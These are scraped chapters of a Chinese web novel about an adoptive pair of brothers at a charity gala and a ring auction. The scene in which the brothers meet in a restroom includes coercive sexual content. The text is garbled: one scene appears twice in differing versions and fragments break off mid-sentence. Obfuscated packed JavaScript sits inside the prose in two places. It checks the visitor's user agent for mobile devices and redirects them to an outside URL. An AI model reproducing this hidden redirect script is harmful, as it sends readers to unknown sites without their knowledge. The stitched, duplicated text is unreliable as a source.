虽然今天场合很重要,但不代表赖栗就会和贺寻章虚与委蛇。戴林暄能答应带他过来,说明已经做好了万一他惹麻烦的准备。 刚要挥手打开那杯酒,余光里的戴林暄突然走过来,接过了那杯酒说:“小栗受了伤,不好饮酒。” 贺寻章仿佛才看到赖栗脖子上的纱布,恍然道:“这倒是我疏忽大意了。” 戴林暄来了,赖栗更懒得做面子功夫。直接闭嘴不言,看向四周。 不远处,一身白色西服的景得宇正嬉皮笑脸地跟着一个服务员。赖栗眯了下眼……竟然是宋自楚。 他拍了拍他哥的腰:“哥,我去卫生间。” “去吧。”戴林暄显然了解他醉翁之意不在酒,“脖子还有伤,别喝酒。” 赖栗没应声,朝景得宇他们离开的方向走去。 事实上,故地重游,他挺想喝酒的,路过一个端着一托盘酒的服务生,赖栗顿了顿,最终还是什么都没拿。 一路跟到较为偏僻的安全出口,赖栗终于听到景得宇的声音,应该是在跟宋自楚说话:“诶,你之前不是在云顶工作吗?怎么到这里来了?” 那天晚上,赖栗帮宋自楚解围,景得宇就在旁边。 “我被经理调过来的。”宋自楚解释道,“这场宴会结束就回去了。” 云顶戴家的资产之一,会调动服务员倒是不奇怪,何况这种正式且大型的慈善晚宴,确实需要形象良好的服务生。 景得宇说:“云顶那地方喜欢动手动脚的老男人那么多,还在那儿做啊?” 宋自楚倒是坦然:“我需要钱还债,不过幸好赖栗帮了我一把,下次再遇到那种事也没了后顾之忧,大不了重新找份工作。” 景得宇啧了声:“不如你给我干事怎么样?我每个月支付你薪酬,保准比云顶给你的丰厚得多。” “抱歉。”宋自楚显然听懂了景得宇的暗示,“无功不受禄,我还是更喜欢用劳动获取报酬,我现在是工作时间,不好消失太久……” 赖栗敲了敲半敞的门,抱胸靠在一边。 “我.操赖栗!”景得宇吓了一大跳,“你丫怎么来了?你不是说这辈子都不会来赛博城吗?” “赖栗。”宋自楚也打了声招呼,并没有多留,“我得回去工作了。” 等人走远,赖栗才开口:“离他远点。” “干嘛,难得遇到这么好看的男大,不下手多可惜啊……”景得宇抱怨着,突然想起那天晚上赖栗突发的“善举”,微妙道,“你不会看看上他了吧?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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周围安静下来,戴林暄一边走进卫生间一边说:“他叫宋自楚?” “……装什么?”赖栗拆穿道,“别告诉我到现在你都不知道我四个大学室友的名字。” 戴林暄笑起来,打开水龙头,在一片水声中说:“他就是你那天说的想谈恋爱对象?” 赖栗眯了下眼:“你哪里得来的结论?” “你一直交往的朋友就那么几个,唯一突然多出的交际就是宋自楚,并且他在云顶工作,你确实可能经常见到他。”戴林暄洗着手,慢条斯理地剖析,“由于开学之前你并没有跟他有正面交谈,所以李觉没告诉我你交了个新朋友。随后没多久,宋自楚在会所被人骚扰,你替他解围,还借了他五万块钱。” “除了他,你还这么帮过谁?” 赖栗皱了下眉,没出声。 “赖栗,你对他一见钟情?” 戴林暄的语气很温和,脸上也挂着笑意,看不出一点伤心或难受来。 “紧张什么?”戴林暄笑了笑,用挂着水珠的手虚虚掐着赖栗的下颌,“我说了,可以谈恋爱。” 赖栗感到匪夷所思:“那你现在是在做什么?” 戴林暄的拇指顺着他下巴滑到唇边,狎昵地揉了两下。 赖栗嗤笑了声:“哥,你打算做小三吗?” 13.不许 赖栗漫无目的地向前,看到长得不错的小糕点就会拈嘴里尝一尝,发腻的甜味会掩盖鼻间的腥臭气息。 好多“镜子”。 除去两大面弧形落地窗以外,到处都是清透的大理石,连地面都能倒映出浅淡的影子。 他们无处不在,目光始终追随赖栗的步伐,如影随形。他们的声音穿透鼓膜,带着蛊惑性的劝导:“回来吧。” 可每当赖栗将要驻足时,后颈的某片皮肤隐隐发烫,仿佛还残有戴林暄指尖的温度。 他哥也在这里。 赖栗的意识缓缓回笼,很有情调的音乐与周围宾客的低语尽数灌入耳腔,此时他才发现,自己不知不觉来到了宴会厅边缘,倾斜的落地窗近在咫尺,给人一种再往前一步就会跌入深渊的错觉。 赖栗歪了下头,与玻璃上的倒影对视。虚影之下,是赛博城喧闹拥挤的人群。 “聊两句又不会掉块肉!” 熟悉的声音引得赖栗偏头,一身白色西服的景得宇正嬉皮笑脸地跟着一个服务生……他眯了下眼,竟然是宋自楚。 他抬腿跟上去,来到了一片无人的走廊,左边的指示牌上写着安全出口与卫生间。 景得宇的声音隔着半掩的消防门传来:“你之前不是在云顶工作吗?怎么到这里来了?” “我被经理调过来的。”宋自楚解释道,“这场宴会结束就回去。” 云顶和戴家有些渊源,以前也有过调用服务生的先例,不过调来一个没有高级服务经验的兼职大学生还是有些奇怪。 景得宇显然没多想:“云顶那地方喜欢动手动脚的老男人那么多,还在那儿做啊?” 宋自楚倒是坦然:“云顶待遇好,我需要钱还债。而且有赖栗借我的那笔钱,下次再遇到那种事也没了后顾之忧,就算因拒绝得罪客人也可以重新找工作。” 景得宇笑嘻嘻地说:“上次有我们帮你出头,你们经理肯定会多加关照你,不会再让类似的事情发生。” 宋自楚回应:“真的很感谢。” 景得宇趁机劝说:“不如你给我干事怎么样?我每个月支付你薪酬,至少比云顶给你的丰厚十倍。” “抱歉,无功不受禄,我更喜欢堂堂正正获取报酬。”宋自楚拒绝,“现在是工作时间,我不好消失太久……” “叩叩——” 突然传来的敲门声吓了两人一跳,他们齐齐转头,看见赖栗抱胸靠在门边,似笑非笑地看着他们。 “我操!赖栗!”景得宇莫名有点心虚,“你丫怎么来了?你不是说这辈子都不会来赛博城吗?” 宋自楚怔了怔,也冲赖栗打了声招呼。 赖栗冷不丁地问:“主教官也被人打进医院了?” 他今天不军训是因为身上有伤,宋自楚又是为什么? “我跟辅导员请了病假,毕竟这一天的收入能抵得上我平时一星期了,很诱人。”宋自楚无奈笑笑,“赚到了钱也好尽快还你。” 赖栗纠正:“是还给我…朋友,我没借过你钱。” 宋自楚不明白这有什么咬文嚼字的必要,没有赖栗的面子,那人又怎么会无缘无故借他五万块。 “好吧,我来这里是为了努力赚钱还给你朋友。”宋自楚放软态度,“赖栗,还请你不要告诉辅导员。” 赖栗还没说话,景得宇就打包票道:“放心,包不会的。赖少最不喜欢多管闲事,你只要不招惹他爱干嘛干嘛。” 宋自楚松了口气:“谢谢你们,我得回去工作了。” 等人走远,赖栗才开口:“离他远点。” “干嘛,难得遇到这么好看的男大,不下手多可惜啊……”景得宇抱怨着,突然想起那天晚上赖栗突发的“善举”,微妙道,“你不会看看上他了吧?” 赖栗拽住景得宇的后衣领,拖拽到隔壁厕所:“再恶心我就给你头灌马桶里。” 景得宇连忙撑住隔间门,连着哎哟好几声:“虽然圈子里有些人确实有这癖好,但也不好陈酿啊!” 赖栗猛得松手,躲瘟疫似的连退五六步。 “诶诶诶!”景得宇转身看到他那表情,经不住提高声音,“你别那表情啊,老子没喝过!” 赖栗冷冰冰地警告:“离我哥远点!” 景得宇真服了,他有时候都怀疑赖栗的脑子是不是有问题,同性恋是他妈什么传染病吗?靠呼吸同一片空气传染? “我真没喝过。”景得宇叹气,“真怀疑你暗恋你哥,兄控到你这程度就属于变态了啊,连性取向都要管……” 赖栗瞥去一眼:“再恶心我试试。” “好好,我闭嘴。”景得宇投降,“但说好了啊,宋自楚我肯定会搞到手。” 赖栗走进隔间,拉下拉链:“最后告诫你一次,离他远点。” 景得宇八卦得紧:“起码给我个理由吧?你要不喜欢他,凭什么不让我下手啊?那晚还是我第一次见你乐于助人呢……” “再不滚请你喝鲜尿。” “……操。”景得宇骂骂咧咧地走了,不忘重申,“我真没那爱好!” 赖栗上完厕所,走到洗手台前,低垂眼眸洗着手。 侧面传来脚步声,宋自楚的身影出现在了镜子边缘:“赖栗……” 赖栗没出声,手指朝掌心蜷缩。 去而复返的宋自楚问:“我想问问,是你让经理调我来这的吗?” 赖栗反问:“你哪来的自信?” 宋自楚说出自己的推测:“我刚反应过来,不管怎样我只是个兼职,经理怎么会调我来这么重要的场合?” “你觉得我调你来的目的是什么?”赖栗抽了张纸,擦了擦手,“关照你?还是折辱你?” 宋自楚愣了一下。 面前的赖栗与平常完全不同,面色阴翳,眼神幽黑无光。 宋自楚张了张嘴:“你……” “嗡……” 赖栗的手机响了,跳出一条新消息。他低头看了眼,周身的戾气瞬间散得无影无踪,仿佛刚刚只是宋自楚的错觉。 宋自楚迟疑地问:“真不是你调我来的吗?” 赖栗答非所问:“你之前不是问我为什么会‘帮’你吗。” 宋自楚点点头:“嗯。” 赖栗朝他走了两步,微微凑近,以耳语的距离说:“因为我答应我哥大一住校。” “这和我有什么关系……”宋自楚显然不习惯这么近的距离,显得有些僵硬。 赖栗却愉悦地笑了笑,继续低语:“如果室友是个为钱卖屁股的婊子,我踏入宿舍一步都会觉得恶心。” 宋自楚的脸色唰得一下白了:“赖栗,你今天是不是心情不好?” 赖栗回正身体:“怎么会,看到你心情特别好……” 他正要继续刺激宋自楚,目光却触及了卫生间入口处的人影,声音戛然而止——刚发消息问他在哪的戴林暄站在那儿,静静地看着他们。 “……”赖栗下意识后退两步,拉开与宋自楚的距离,“哥。” 宋自楚低头唤了声:“戴先生。” 昨晚刚在学校医务室碰过面,他自然还记得戴林暄。 戴林暄扯了下领带,笑问:“你是小栗的室友?” 宋自楚:“是的。” “你们要相处四年时光,以后要多多相互关照啊。”戴林暄关心道,“上课时间怎么会来这里打工?是缺钱吗?” 宋自楚不知道该怎么回答:“我……” 赖栗突然警告地开口:“哥!” 戴林暄脚步一转,让开身体:“你先去上班吧,以后有机会再认识。” 宋自楚匆匆离开,到走廊尽头的时候,他猛得回头,突然意识到赖栗他哥最后叫了自己的名字。 是赖栗说起过他,还是赖栗他哥调查过他? 就在这时,一个工作人员出现,在卫生间门口放了块维修提示牌。 …… 戴林暄打开水龙头,在一片水声中问:“他就是你那天说的心上人?” 赖栗眯了下眼:“你哪得来的结论?” “你一直交往的朋友就那么几个,唯一突然多出的交际就是宋自楚,他还在云顶工作。”戴林暄洗着手,缓缓道来,“在我发现他之前,你有很多次机会见到他,毕竟安排在你身边的保镖只负责安全问题,不会把你多看了谁一眼也报告给我。 “后来他被客人骚扰,你主动出面替他解围,还借他一笔钱。赖栗,你以前从不多管闲事。 “我猜,你对他一见钟情? “暑假那几个月你经常去云顶,暗地里注视过他多少次?” “别恶心……”赖栗突然反应过来,“今天是你把他调来这的?” “是啊,好给你们加深感情的机会。”戴林暄十指交错,慢慢搓洗指缝,“毕竟我太知道求而不得的痛苦了,怎么舍得我亲手养大的弟弟也陷入这样的困境。” 赖栗眉眼间再次染上阴翳:“戴林暄,你离他远点。” “紧张什么?”戴林暄关了水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“担心传闻坐实后,别人会用异样的眼光看我,还是怕自己被人议论?” “当然是担心你……不是,根本就不是你想的这样!”赖栗半边脸都被摁在墙上,死死咬着嘴唇,“拍卖要开始了……” “我又不是拍卖师,还有二十分钟,来得及。”戴林暄低头,含住了他耳垂,“算戴翊生辰翌日早上的回礼……” 赖栗也要疯了,在打满冷空气的室内竟然出了一身细密的汗珠,不仅湿了贴身衬衣,连带着衬衫夹都滑动了下。 他几乎失魂了,连戴林暄的话都听不明白,满脑子都是门外的保洁。 保洁去了最里面的隔间。 保洁出来了,在拖地。 保洁在擦隔壁的马桶,还嘀咕了句“谁把烟头扔地上,有钱人素质也就这样”。 保洁…… 戴林暄磨着蘑菇顶端:“还有,我是说过准许谈恋爱,可也只许谈情说爱。” “不许上床。” “不许牵手、拥抱。” “不许接吻。” “也不许靠那么近。”戴林暄温柔低语,“像刚刚那样是不允许的,小栗。” 隔壁突然滋啦一声,保洁的对讲机响了起来,大概是不小心碰掉了耳机,以至于领班的声音响彻了整个卫生间:“所有人加快速度,客人们五分钟后就会进入拍卖大厅!” 受到刺激的赖栗浑身一松,脸上浮现了一瞬间的茫然。戴林暄抽了几张纸帮他清理,褪去平日的张扬跋扈后,这会儿的赖栗竟然有些乖巧……像记忆里的样子。 下一秒,乖巧的拳头就砸了过来。 戴林暄闭了下眼睛,没有躲。 然而并没有预想中的疼痛,只听砰得一声,赖栗拉开门头也不回地走了。 其实赖栗中途就挣开了皮带的束缚,却还是等保洁走后才反抗。 戴林暄站了会儿,才细细擦拭手指。他将用过的纸巾叠在一起,折成方块,揣进贴着大腿的裤兜里。 拍卖会开场五分钟的时候,赖栗才进去。景得宇独自坐在角落的圆桌,冲他招了招手。 赖栗过去坐下,给面前的杯子倒满酒,面色平静地一饮而尽。 景得宇认识赖栗六年,对他多少有些了解,平静对赖栗来说就是暴风雨来临的前兆。景得宇心惊胆战道:“要不你还是去和你哥坐一块儿吧。” 14.戒指 “你喝这么多干什么?”景得宇头皮发麻,一边倒酒一边八卦,“不会表白被拒了吧?我可看见了啊,后来小宋又回去找你了。” 赖栗不忌酒,却很少无节制地酗酒。用他的话来说,在外面把自己灌得不省人事和自己往肚子捅一刀没什么区别。 这就导致在别人那屡见不鲜的爬床事件在他这根本行不通,想灌他酒更不可能,酒瓶盖还没揭开桌子能给你掀了。 景得宇忍不住撩闲道:“虽然说朋友妻不可欺吧,但是我感觉你也没多喜欢人家,既然被拒了不如让兄弟给你探探路,万一我撬开他心门打开他新世界窗户了呢?到时候你说不准就有机会了,放心!咱俩这么多年交情,肯定不介意你撬我墙角……” 逼逼了半天,也没听到赖栗再邀请自己喝鲜酿,景得宇不由新奇地看了赖栗一眼,发现这人正盯着某个方向,于是也朝那边看去,不出意外发现一只断雁孤鸿。 赖栗抬起酒杯,往唇边一撞,跟没听到景得宇那一大段慷慨发言似的。 景得宇:“啧。” 赖栗十岁到戴家,十六岁正式进入酒池肉林的公子圈,那会儿追求者就不算少,谁让他有一副青春期少男少女们最爱的不良气质,同时又在戴林暄金沙的浇灌下生得了那么些贵气。 贵气稀释了黄毛感,带给人的滋味就要用另一个词形容了——桀骜不驯。 每次出去,他来往那一坐,幽深的眼睛被飞入鬓间的剑眉压着,多数时候根本不拿正眼看人,最多虚虚撩起眼皮在你身上一扫而过,透着一股傲慢的刻薄味儿。 让人火气被挑起的同时,又忍不住想要把他扒开来探究一番。 对于含着金汤匙长大的公子小姐们来说,征服欲是他们与生俱来、刻进DNA的东西,赖栗本不是他们这个圈子的人,却机缘巧合地踏入,是个自带故事性的完美猎物。 就像一条帅而冰冷的野蛇,因不知毒性深浅,引来无数不知天高地厚的愚蠢猎手。 霍家小儿子霍斐就是这样,后来差点被赖栗玩死,心里那点微妙的心思才偃旗息鼓,开始和赖栗称兄道弟。 可景得宇有幸见过赖栗在戴林暄面前的样子,赤条条地敞开蛇肚,收起锋利的毒牙,好像一条早就写好名字的家养观赏蛇,不具备丝毫威胁性。 此刻,这条观赏蛇盯着主人的背影,露出藏起的毒牙轻轻舔舐,好像快克制不住绞杀本能了。 “你……” 景得宇正想说点什么,余光就瞥见一道鬼鬼祟祟的身影,猫腰贴墙窜到他们座位上,坐下的瞬间还不忘注意形象,先扯了扯衣领,又往后撸了把头发,带出一股烟草香水味。 骚包气都快溢出来了。 景得宇一言难尽地问:“你家怎么同意你穿这身来的?” “我姐回来了,他们没空管我。”来人正是霍斐,有如合法游街的花孔雀,“赖少想我没?” “想你爹。” “你最近口味这么重?”霍斐震惊,“果然压抑久了就变态吗?” 赖栗额间青筋跳了下,想到了另一个人。 霍斐诶了声:“等会儿散场,你见见我姐呗。” 赖栗缓缓偏头,盯着霍斐。 难道他想错了?霍双的目标不是他哥? 霍斐苦口婆心道:“俗话说男大当婚女大当嫁,到了咱哥咱姐这个年纪,如果还没心上人就得考虑婚配了,特别是你哥这种情况,虽然是名正言顺的继承人,但周围豺狼虎豹太多,就得考虑外力的帮助……” 赖栗不耐道:“说重点。” “好的。”霍斐端正姿态,“你想有个大嫂吗?” 赖栗定定地看了他好一会儿。 霍斐心里有些发毛,对于过去被坑的经历记忆犹新。 正常来说,哥哥婚配的事没必要提前问弟弟的意见,可戴林暄是个伏地魔,赖栗又是条蛮不讲理的疯狗兄控。 景得宇啧啧称奇:“你家想和戴家联姻?” 霍斐昂了声。 赖栗缓缓收回目光,看向不远处的身影。 嫂子。 这两个字像一层雾窜入了赖栗的耳腔,蒙在耳膜上,周围的声音顿时过了潮一样,湿哒哒地往他脑子里钻。 霍斐正在细数他姐的优点。 霍斐隐晦表示他姐婚后不会介意戴林暄继续骄纵弟弟。 景得宇捧场说确实般配,郎才女貌,反之亦然。 作为一名弟弟,有嫂子是迟早的事。 赖栗想到两小时前碰面的霍双,模样不错,气质不错,家境不错,有心思,没威胁感。 但是…… “——恭喜霍小姐拍下这份藏品!” 拍卖师的一锤定音驱散了薄雾,赖栗回答:“是女人就行。” 霍斐愣了下:“什么?” “只要是女人,我哥喜欢,没有丑闻——”赖栗平静地扫了他一眼,“我再厌恶也会忍着。” 霍斐张了下嘴,想说他姐没丑闻,就是年轻时候叛逆了点,现在已经成熟很多了,可又莫名有些不舒服,说不上来的感觉。 上一场拍品的竞争以八十万收尾,气氛不温不火。 接着,拍卖师笑意吟吟地向前一步:“接下来要呈现给诸位的是份独一无二的藏品,其主人忍痛割爱,临时上架,决定捐赠全部善款,所以并不在我们的藏品册上。它就是——知名珠宝设计师赫丝生前的最后一件作品!” 台下宾客显然有些诧异,低声与周围同伴交谈起来。 拍卖师卖了个关子:“各位稍作休息,拍品稍后呈上。” 景得宇嘴巴张成了o字:“你们知道这个吗?” 赖栗的目光又回到戴林暄身上,由于距离较远,又隔着层层叠叠的人影,看不清对方的反应。 霍斐发出疑问:“什么?” “赫丝·贝利啊,最有名的珠宝设计师之一了。”景得宇家里做的就是珠宝生意,对此还算了解,“好像是三年前吧,查出肝癌,直到去年确认死亡都没新的作品问世,因此患病前设计的那套‘黄昏’就成了她最有价值的收藏品。” “知道。”赖栗垂下眼皮,慢慢饮着杯中酒,“她是我哥的狂热粉。” 景得宇震惊得连酒都忘了喝,就这么卡在了半空:“我怎么不知道?赫丝死的时候都五十岁了,你哥今年也才三十啊,她……” “不是男女那点事。”赖栗抬起酒杯送到唇边,悬停半晌又放下,“那个疯女人觉得世间肉眼可及不可及的一切都属于‘作品’的范围,包括人类,而我哥是上帝最完美的造物。” 可能搞艺术的人都有种癫狂的纯真,不受年龄限制,看谁都是缪斯,也不管合不合适,对方愿不愿意。 “我反对!”霍斐严肃道,“咱这不归上帝管。” 赖栗:“……” 景得宇乐了会儿,有些纳闷:“我没记错的话,一整套‘黄昏’都在严栾手里,她去年还戴着走过红毯,今天也没到场……” 他突然想起什么似的,猛拍了下大腿:“我想起来了!前两年听我妈提过一次,据小道消息传赫丝患癌求医期间还设计过一件作品,不过是私人委托,就一直没公开。” 其他宾客一样好奇,中场休息期间也有打听消息,还有人直接去了戴林暄身边,弯腰低头问着什么。 无论谁过来,戴林暄都没站起来。 这对于戴林暄来说是少有的“傲慢”姿态,令人意外。不过光是背影,看不出他此刻的心情。 很快,赫丝的最后一件作品被带了上来——竟然是一枚普通的戒指。 倒不是说设计普通,而是戒指这个单品很普通,相较于成套珠宝或胸针袖扣的收藏价值弱了不少。 不过戒指的造型确实美丽,银色底面光白似雪,两端由一条黑蛇首尾相接。正常来说,戒指镶钻应该嵌在正上面,既美观又防止硌手,可这枚戒指偏偏在蛇头的位置嵌了极其稀有的黑钻。除非歪着戴,否则一定会硌到隔壁手指,就像时刻被毒蛇的獠牙抵着,威胁感满满。 “关于这款戒指的设计灵感,赫丝女士生前并没有多言,不过藏品主人拥有全套设计图纸,足以证明设计者的身份,各位可以放心竞拍。” 这场慈善宴会由戴家主办,能拿出来说明来路绝对没问题。不过介于拍卖师的那句临时上架,大家又起了些窥伺心理,这位戒指的收藏者大概率就在现场。 景得宇恨不得跑每个人面前问一遍:“谁啊?” 赖栗晃了下酒杯,透过杯壁注视着自己空荡的指节。 霍斐砸巴了下:“让我想想,有没有哪个小宝贝喜欢这风格……” 景得宇对此不抱希望:“你最多能当个气氛组,既然真是赫丝生前最后一件作品,肯定有很多人想收藏,挣个面儿也是爽的,我妈如果在这儿估计势在必……” 话还没说完,他手机就响起来,来电显示“女王大人”。 “……得。”景得宇按下接听,“妈妈?” 过了会儿,他挂掉电话,深吸口气,难掩亢奋:“我妈给我两千万预算叫我拿下,多余的当我零花钱!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14939183|160314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你妈消息也太快了。”霍斐失望地给自己斟满酒,“我就不凑热闹了,霍老头搁前面坐着呢,我要花八位数拍一枚戒指他能当场把我抽成猪肉丝。” 虽然景家的财力在诞市能排得上前三,但景得宇也少有一掷千金的机会,买辆跑车都必须递交层层申请,零花钱特别吃紧。 “起拍价才十万,每次加价不低于五万,没有傻子会花八位数拍吧。”景得宇已经开始美滋滋地畅想了,“就算放宽一点,五百万拍下来,我也还剩一千五……” 不出意料,竞拍的人特别多,氛围不一会儿就炒得特别火热,竞价也一路攀增。 “七十万!” “七十五万!” “八十万!” 霍双从容叫价:“一百万。” “一百二十万!”景得宇喊完就低声对霍斐说,“叫你姐卖个面子别喊了呗,让我多剩点零花钱。” 霍双继续:“一百二十万。” 霍斐连忙给霍双发了条信息:景得宇他妈给了两千万预算,你合计下吧。 估计是看到信息了,霍双停止了叫价。既然注定拍不到,也没必要故意抬价闹得面子上不好看。 然而还有不知情的冤大头势在必得:“两百万!” 景得宇喊:“两百一十万!” 对方气定神闲地喊:“三百万。” “我操哪个傻逼这么叫价!”景得宇猛拍了下桌子,“那谁啊?” 霍斐瞄了眼:“脸生,外市来的吧。” 景得宇被逼出了火气,冷脸继续加:“三百一十万!” “四百万!” “傻逼玩意儿,刚拆迁的暴发户吧!”景得宇气笑了,“花四百万拍一枚戒指?” 霍斐默默道:“你妈还花两千万呢。” “我家做珠宝生意的能一样吗。”景得宇说,“而且我妈肯定没想过两千万花光啊,就是借机给我零花钱。” 说话期间,又有人加价十万。 景得宇麻木举牌:“五百万。” 脸生的暴发户喊:“六百万!” 景得宇气得想砸杯子。 很多认识景得宇的人已经猜到他家里想要这枚戒指,早早停下竞拍,只有这位眼睛不好使的暴发户还在抢。 景得宇磨了下牙,刚要继续,一道温和的声音在厅内响起:“八百万。” 一直意兴阑珊的赖栗终于抬眸,看向竞拍者的方向。 景得宇彻底傻眼:“你哥凑什么热闹!他想要为什么不后台拦下来?反正这戒指也不在册子上……” 霍斐从赖栗表情里看出了点什么:“你知道你哥要拍?” 赖栗没出声,慢腾腾地给自己倒了杯酒。 戴林暄的八百万一出,不仅之前的暴发户消停了,景得宇也有些为难,不知道该不该继续喊价。 拍卖师:“八百万一次,八百万两次,八百万——” 赖栗仰头,将酒一饮而尽,杯底重重地落在桌上:“八百零五万。” 场内一下子静了,连拍卖师都愣了下。所有知道赖栗和戴林暄关系的人不约而同地想:这祖宗终于混账到跟自己再生父母杠上了吗? 戴林暄的语气依旧温和:“九百万。” 赖栗追加的时候也盯着他哥的后脑勺,仿佛要盯出一个洞来:“九百零五万。” 戴林暄:“一千万。” 景得宇麻了,直接放弃。他果然没感觉错,旁边这疯狗一直憋着疯呢,只不过这次连牵绳的都咬。 霍斐感叹道:“你今晚要是回不了家,叫我一声爹我可以勉为其难收留你。” 所有人都觉得赖栗太过了,他能活得这么嚣张全仰仗戴林暄,如今却当众和戴林暄对着干,简直狼心狗肺。 明天的新闻估计会很热闹。 “别跟着我。” 赖栗从霍斐衣兜里抽出一包烟,带着火机走出了拍卖厅。他拢起掌心,啪得一声,烟雾很快糊了眼睛。 身后是拍卖师越来越远的声音:“一千万一次!一千万两次!一千万三次!恭喜……” 赖栗很少抽烟,被呛得直咳嗽。好一会儿他才直起腰,在烟雾里张开五指。 中指有一圈皮肤明显白于周围,一小时前,赫丝最后一件作品就圈在这儿。 这是戴林暄出国前送给赖栗的最后一件礼物,到赖栗手上的那一刻带来的明明是快乐,却因戴林暄毫无理由抛下他出国两年而酝酿出了痛苦。 赖栗对着戒指的痕迹咬下去,疼痛带来了一阵恍惚。 15.第 15 章 拍卖会还在有条不紊地继续,大荧幕三百六十度地展示每一件藏品的细节,拍卖师经验丰富且专业,炒得氛围格外火热。 只是再没一件拍品像赫丝的那枚戒指,以预计成交价四倍的天价拍出去。 各方人马心里都有了计较。 “前不久这两人还合起伙挤兑我,突然闹成这样,除了霍双我想不到其它原因。”贺寻章对身边人说,“贺书新是个草包,嘴里没一句靠谱的话,不过这次说的恋童癖恐怕空穴来风,并非一点道理都没有。” 朋友猛咳了声:“你小声些。” “怕什么?”贺寻章露出一丝嘲意,“你我都是男人,你信戴林暄三十年身边一个伴都没有?” “这些年媒体狗仔、各方势力盯着他的眼睛多了去了,确实没盯出什么问题。” “所以贺书新的说法可信度才高。”贺寻章眯起眼睛,幽幽地喝了口酒,“一个放在家里的养子,关起门来还不是想做什么做什么,外人当然无从知道。” 朋友哑然,觉得有点道理,又觉得有些强行。 贺寻章嗤笑了声:“媒体说戴林暄月白风清,你们还真信?豺狼窝里真养出了什么君子那才叫滑天下之大稽。” “两百万一次,两百万两次,两百万三次!”拍卖师一锤定音,“恭喜霍小姐拍下这件藏品!” 霍双放下牌子,偏头问:“刚刚林暄和他弟弟怎么回事?” “不好说。”霍文海皱了下眉,“赖栗这些年虽然操蛋,但从来没在这种场合落过他哥面子。” 霍双说:“如果没有这个弟弟,林暄的风评可能……” 霍文海摇摇头:“你这些年一直在国外,不了解戴家的情况,自从蒋秋君上位,戴家旁支末梢的那些老不死就一直虎视眈眈,如果戴林暄真是一个完美无瑕的继承人,他们恐怕早就忍不住下杀手了,赖栗这种类似污点的存在反而让他们安心。 “不过你倒是提醒我了,林暄前些年一直表现得与世无争,下个月一旦正式进入董事会,和入主东宫没什么区别,这时候再像以前一样纵容赖栗可不止影响他的形象,还影响集团的形象……” 霍双喝了口酒:“你的意思是,戴林暄不想再做好哥哥了?” “至少明面上是。”霍文海说出自以为的最大可能性,“戴林暄没必要为了作秀养赖栗十二年,肯定真有感情,刚刚大概率是演戏,对外分裂,以成全戴林暄的名声。” 霍双沉默了会儿:“你一直说,如果我不得不走联姻这条路,戴林暄是最好的选择。” “出生在我们这种家庭,如果自身不够强势,就必然会成为联姻的牺牲品,女儿家更甚,当年你执意出国的时候我就说过。”霍文海看着容貌与自己有六七分相似的妹妹,轻轻叹了口气,“如果一定要选,戴林暄不论从个人能力还是人品作风来说都是最好的选择,哪怕他不爱你,也一定相敬如宾。” “我认识的戴林暄确实月白风清,是个良人,可那是十八岁的他……”霍双把思绪从回忆里抽出来,“我实在不明白他这些年怎么会纵养出赖栗这样的纨绔?” “我不清楚林暄收养赖栗的真正原因。”霍文海笑起来,“不过我之前说赖栗比小斐好,可不是场面话。” 霍双挑了下眉,示意他往下说。 霍文海趴低身体,缓缓道来:“你细细捋一遍赖栗做过的那些混账事就会发现,他从来没招惹过无辜的普通人,不沾叶子,不沾黄赌,就连两年前那段在网上流传最广的视频——赖栗顶着暴雨在高速飙车截人,也选在了一段少有车辆往来的路段,如果不是被无人机碰巧拍下,根本就不会造成任何后果。” “他那次截谁?” “还能截谁,戴林暄呗,他哥要出国,他不许。” “……”霍双觉察出一股淡淡的微妙,“之前不是还有传闻赖栗是戴家私生子?” “真要是私生子,那戴林暄可真是大圣人。”霍文海不以为意,目光扫过拍卖台。 “一百一十万一次,一百二十万两次,一百三十万三次!”拍卖师落锤,“恭喜戴小姐!” “赖栗两小时前找到我,要拍卖这枚戒指。”戴翊慢慢抿着香槟,脸上挂着甜甜的笑意,“这种自带话题度的藏品,我没有拒绝的道理。” 戴林暄坐在一边,把玩着刚刚天价拍下的戒指。 “你们吵架了?” “没有。” “既然没吵架,那为什么发生这么戏剧的事?”戴翊饶有兴致地问,“两年前送出去的礼物又被自己天价拍回来,采访一下——你现在什么心情?” 戴林暄问:“你觉得我该有什么样的心情?” 戴翊弯弯眼角:“那取决于你两年前以什么心情送出的这枚戒指。” 乍一看,这就是一枚装饰性的戒指,可以简单定义为价值昂贵的普通礼物。 可如果没有特殊含义,戴林暄这样体面有分寸感的人,怎么会请一位罹患绝症的设计师出山设计戒指这样的单品?哪怕是胸针、袖扣都不会这么暧昧。 戴翊突发奇想:真的只设计了这一枚戒指吗? “很糟糕。”戴林暄突然开口,“那可能是我这三十年里…最糟糕的一天。” 戴翊愣了会儿,倍感意外。 她没有第一时间对那天的糟糕产生好奇,另一个念头先行窜入脑海——人怎么能做到诉说伤痛也云淡风轻、面含笑意? 大抵是徒留肉|体,壳子里的灵魂已经走很久了,保持温和与体面只是这具肉|体刻进骨子里的风度与习惯,就像面具一样牢牢焊在脸上,揭开后也不是糜烂的血肉,而是黑乎乎的空洞。 “到底发生什么了?”戴翊忍不住追问,“你和赖栗,和妈妈,到底都——” 戴林暄打断:“小翊。” 戴翊一怔:“……嗯。” “你还年轻,不想出去闯闯吗?”戴林暄眉眼微垂,看过来的目光好似带着一丝真心的温柔,“离家远一点,创业也好,做自己喜欢的事也好,大哥会全力支持你。” 